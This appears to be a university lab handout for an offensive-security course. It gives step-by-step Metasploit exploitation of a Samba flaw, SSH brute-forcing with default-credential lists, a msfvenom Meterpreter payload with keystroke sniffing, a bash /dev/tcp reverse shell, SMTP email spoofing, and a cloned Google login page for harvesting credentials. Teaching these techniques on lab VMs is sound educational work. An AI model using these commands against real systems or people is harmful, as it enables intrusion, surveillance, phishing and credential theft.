Lab 8

More on Metasploit Attack, Client Side Attack, NA, Social Engineering Attacks

1. Using Metasploit to exploit the Samba program running on Metasploitable

   Run msfconsole and type: `search samba <version>`

   Among the search results, find "`exploit/multi/samba/usermap_script`" from the search result.

   Then, type `use exploit/multi/samba/usermap_script`. Next, run `show options`. We can see we need to set up RHOSTS: `set RHOSTS <Meta IP>`. Run `show options` again to check whether `RHOSTS` has been set. Then type `exploit` (or `run`). Once the exploit is successful, run some Unix commands including `uname -a`.

2. Using auxiliary scanner based on ssh_login in Metasploit

   The "auxiliary" module in Metasploit is mainly used as a scanner for information gathering. However, it can do a little more, such as gaining access to a remote machine. Go back to the nmap scanning result (or run nmap again) on Metasploitable. Note that the port for ssh service is open.

   Run: `msfconsole` and then `search ssh_login`. Then, look for `auxiliary/scanner/ssh/ssh_login`. What command do you need to use that? If you have figured out, type `show options`. You will see many options. As usual, RHOSTS is required to set: `set RHOSTS <Meta IP>`. (You can set multiple IPs if you have multiple targets.) Type `run`. Have you succeeded in opening a session?

   We need to do something more to set options. Even if it is not "required" option, sometimes we need to provide more information to make an attack successful. Try: `set USERNAME root` and `set USER_AS_PASS true`. If not successful, try: `set USERNAME msfadmin`. Note that the latter command sets a possible user name as `msfadmin` and since it is also used as a password, we should be able to gain the access and open a session. To view the sessions you have opened, type `sessions`. To get information about the current sessions, issue `sessions –i`. To select a session, issue `sessions <Id>`. Then, try to run some Unix commands.

   Alternatively, you can set `USERPASS_FILE` as your own list, something like:

   ```
   root root
   admin root
   ```

```
msfadmin  msfadmin
root toor
admin password
```

or USER_FILE, which only contains the usernames.

3. Creating a Meterpreter backdoor to exploit Windows 11 client

Install Windows 11 VM on Virtual Box. (Refer to Appendix 1). Make sure that your Windows 11 VM belongs to NAT Network. [In the physical lab, the windows VM is available from VM drive. The username is windows the password is csci369.

(On Kali) Check the IP address of your Kali VM for adapter of the NAT Network. (It should start with 10.0.2..) Run

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Kali IP>
LPORT=5555 -f exe > shell.exe
```

(It may take some time.)

Make a directory called utility under `/var/www/html`

Once you have generated *shell.exe*, put it in `/var/www/html/utility/`. Then type `sudo service apache2 start` to run a web server on your Kali VM.

(In Windows 11) Login in to your Windows 11 VM, turn off Windows Defender -fortunately for every Windows user, but unfortunately for us, the malware we generated from msfvemon is well prevented by Windows Defender- and open a web browser and go to `http://<kali IP>/utility/`, download shell.exe.

(In Kali) Launch `msfconsole` and run:

```
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload
windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST <Kali IP>
msf6 exploit(multi/handler) > set LPORT 5555
```

to set up `payload`, `LHOST` and `LPORT`.

Run: `exploit`.

(In Windows 10) Go back to Windows 10 and double-click on `shell.exe`. Note that your Windows 10 most likely would not allow you to download shell.exe. If this happens, search “defender” on search bar of your Windows and turn off the real time protection.

(In Kali VM) When the session is established, you will get meterpreter prompt. Once you've got `meterpreter` prompt, try to use meterpreter commands you learnt during the lecture: `sysinfo`, `ipconfig`, `ps` and etc.

Let us do some keystroke sniffing. In meterpreter mode (shell), run
`meterpreter > keyscan_start`

(In Windows 10) Then go back to Windows10 VM and go to some website and login email or any sites that asks username and password.

Come back to Kali VM. In meterpreter mode, run
`meterpreter > keyscan_dump`

What can you see? To stop sniffing, run
`meterpreter > keyscan_stop.`

Appendix

Useful Metasploit commands for Meterpreter control

- `background`: To background current session
- `sessions -l`: To list all sessions (when using background)
- `sessions –i <sessionID>`: To interact with the session specified by session ID (Also, to return to the current Meterpreter mode)

Useful Meterpreter commands

- `sysinfo`: To show system information of the target machine
- `ipconfig`: To show network information of the target machine
- `ps`: To show processes running on the target machine
- `getuid`: To show a current user on the target machine
- `pwd`: To get current working directory
- `ls`: To list directories
- `cd`: To change directory
- `cat`: To view a file
- `download`: To download the file from the machine
- `upload`: To upload the file to the machine
- `execute -f file`: To execute file
- `shell`: To change the current shell to the one running on the OS of the target machine (To return to the attacker shell, type `exit`)
- `keyscan_start`: To start keystroke sniffer
- `keyscan_dump`: To display keystrokes
- `keyscan_stop`: To stop keystroke sniffer
- `screenshot`: To take screenshots of the target machine

4. A simple Linux backdoor

   A reverse shell can be created using a very simple Linux command. Assume that your UbuntuVM and KaliVM are in the same NAT Network.

   On Kali, run the following command: `nc -l -p 8080`

   On Ubuntu, run the following command:

   ```
   bash -i >& /dev/tcp/<KaliIP>/8080 0>&1
   ```

   Check what is happening on Kali. Think about how the attacker can lure the victim to run the above command.

5. Faking email
   From the namp scanning we conducted before, we know that Meta2 VM's port 25 for SMTP (Simple Mail Transfer Protocol) service is open. On Kali VM's terminal, type `nc <Meta2 IP> 25`. You will receive `220 metasploitable.localdomain ESMTP Postfix (Ubuntu)`. Once you get this message, type `HELO money.com` (Note that HELO is not a typo)on the Kali terminal. Then you will receive `250 metasploitable.localdomain`, meaning, Meta2's SMTP server is ready to receive your message. On Kali terminal, you type `MAIL FROM <ceo@money.com>` and enter. If you receive `250 2.5.1 Ok`, you can proceed to type `RCPT TO: <msfadmin>` and enter. If you receive `250 2.5.1 Ok`, no type `DATA` and enter, and write the following (fake) email:

   ```
   From: "Money.com Boss" <ceo@money.com>
   Subject: Hello msfadmin
   If you want to make big money, click This link <a
   href="url">link text</a>
   Best regards, Boss
   .
   ```

   You will then receive `250 2.0.0 Ok: queued as 13C19CBB9` (this number can be different.)
   You go to Meta2 VM and login as `msfadmin`, who should have recived the mail. To view, type cat `/var/mail/msfadmin` on the terminal. You have sent a finishing email to `msfadmin` successfully!

6. Creating a fake website using SET (Social Engineering Toolkit)
   Remember your Kali VM's IP. Then, you use a social engineering toolkit (SET). On terminal you simply type `sudo setoolkit` and select the following in order:
   1) Social Engineering Attacks
   2) Website Attack Vectors
   3) Credential Harvester Attack Method
   1) Web Templates

   Enter your Kali IP and then, select "2. Google".

(On Ubuntu VM) Open a web browser and enter your Kali IP. After you see the cloned login page of Google, enter a user ID and password. Then watch the terminal that Credential Harvester is being run. What information can you find? Can you find a way to "social engineer" people to believe that the fake URL for the cloned website is genuine one?